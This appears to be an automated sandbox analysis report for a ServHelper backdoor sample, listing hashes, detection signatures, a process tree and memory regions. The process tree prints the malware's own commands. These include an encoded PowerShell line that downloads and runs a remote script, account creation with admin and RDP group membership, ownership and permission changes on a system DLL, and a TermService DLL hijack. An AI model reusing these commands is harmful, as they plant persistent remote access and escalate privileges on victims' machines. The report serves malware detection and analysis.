Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    131s
  • max time network
    100s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    29/09/2021, 16:05

General

  • Target

    74f029d2fd587f9e25091f7832bea2f2.exe

  • Size

    5.7MB

  • MD5

    74f029d2fd587f9e25091f7832bea2f2

  • SHA1

    76fb2d051d6dc938ba2b7131ef1b21c0fe2ad60c

  • SHA256

    5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a

  • SHA512

    0386c61a89b414ab50c2c7b371d2bab288bde154da35c643de423622b05e99fcc748f5b0b9e53f8da00e6dccd02cf535b6d41c15fbddfa732a599db3bac45a23

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe
    "C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:752
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\chefirnv.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:364
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC4A6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC495.tmp"
          4⤵
            PID:1256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1296
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1612
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:656
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:756
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:560
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1324
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:920
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:592
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:924
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1408
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1652
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1040
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:748
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1060
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1460
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1664
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1280
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1308
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1476
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1368
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1760
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1736
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1768
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:364
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:824
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user wgautilacc Ghar4f5 /del
                            1⤵
                              PID:1128
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc Ghar4f5 /del
                                2⤵
                                  PID:1936
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                    3⤵
                                      PID:1688
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc DAJ4jCGZ /add
                                  1⤵
                                    PID:1604
                                    • C:\Windows\system32\net.exe
                                      net.exe user wgautilacc DAJ4jCGZ /add
                                      2⤵
                                        PID:1336
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc DAJ4jCGZ /add
                                          3⤵
                                            PID:868
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        1⤵
                                          PID:1320
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            2⤵
                                              PID:1836
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                                3⤵
                                                  PID:1752
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                              1⤵
                                                PID:1648
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                  2⤵
                                                    PID:396
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                      3⤵
                                                        PID:1076
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    1⤵
                                                      PID:1812
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                        2⤵
                                                          PID:1880
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                            3⤵
                                                              PID:1676
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user wgautilacc DAJ4jCGZ
                                                          1⤵
                                                            PID:1144
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user wgautilacc DAJ4jCGZ
                                                              2⤵
                                                                PID:1460
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user wgautilacc DAJ4jCGZ
                                                                  3⤵
                                                                    PID:1776
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1688
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:560
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:676
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:920
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1104
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1652
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1648
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C net user wgautilacc 1234
                                                                        1⤵
                                                                          PID:1724
                                                                          • C:\Windows\system32\net.exe
                                                                            net user wgautilacc 1234
                                                                            2⤵
                                                                              PID:1644
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user wgautilacc 1234
                                                                                3⤵
                                                                                  PID:1324

                                                                            Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/364-78-0x00000000007E0000-0x00000000007E2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/620-85-0x0000000002872000-0x0000000002874000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/620-86-0x0000000002874000-0x0000000002877000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/620-83-0x000007FEEAA80000-0x000007FEEB5DD000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/620-84-0x0000000002870000-0x0000000002872000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/620-87-0x000000001B860000-0x000000001BB5F000-memory.dmp

                                                                              Filesize

                                                                              3.0MB

                                                                            • memory/620-88-0x0000000002877000-0x0000000002878000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/620-93-0x000000000287C000-0x000000000289B000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/752-64-0x0000000002812000-0x0000000002814000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/752-66-0x000000001B710000-0x000000001BA0F000-memory.dmp

                                                                              Filesize

                                                                              3.0MB

                                                                            • memory/752-77-0x000000000281B000-0x000000000283A000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/752-61-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/752-62-0x000007FEEAA80000-0x000007FEEB5DD000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/752-63-0x0000000002810000-0x0000000002812000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/752-65-0x0000000002814000-0x0000000002817000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/752-79-0x000000000283D000-0x000000000283E000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1124-54-0x0000000041320000-0x000000004171F000-memory.dmp

                                                                              Filesize

                                                                              4.0MB

                                                                            • memory/1124-56-0x0000000028462000-0x0000000028464000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1124-59-0x0000000028467000-0x0000000028468000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1124-57-0x0000000028464000-0x0000000028466000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1124-58-0x0000000028466000-0x0000000028467000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-92-0x000007FEEAA80000-0x000007FEEB5DD000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/1296-99-0x0000000002374000-0x0000000002377000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/1296-94-0x0000000002377000-0x0000000002378000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-95-0x0000000002370000-0x0000000002372000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1296-97-0x0000000002372000-0x0000000002374000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1296-96-0x000000001B7E0000-0x000000001BADF000-memory.dmp

                                                                              Filesize

                                                                              3.0MB

                                                                            • memory/1296-98-0x000000000237C000-0x000000000239B000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1612-104-0x00000000022D0000-0x00000000022D2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1612-103-0x000007FEEAA80000-0x000007FEEB5DD000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/1612-109-0x00000000022DC000-0x00000000022FB000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1612-108-0x000000001B8E0000-0x000000001BBDF000-memory.dmp

                                                                              Filesize

                                                                              3.0MB

                                                                            • memory/1612-107-0x00000000022D7000-0x00000000022D8000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1612-105-0x00000000022D2000-0x00000000022D4000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1612-106-0x00000000022D4000-0x00000000022D7000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/1648-156-0x000007FEEAA80000-0x000007FEEB5DD000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/1648-159-0x0000000001124000-0x0000000001127000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/1648-160-0x000000000112B000-0x000000000114A000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1648-158-0x0000000001122000-0x0000000001124000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1648-157-0x0000000001120000-0x0000000001122000-memory.dmp

                                                                              Filesize

                                                                              8KB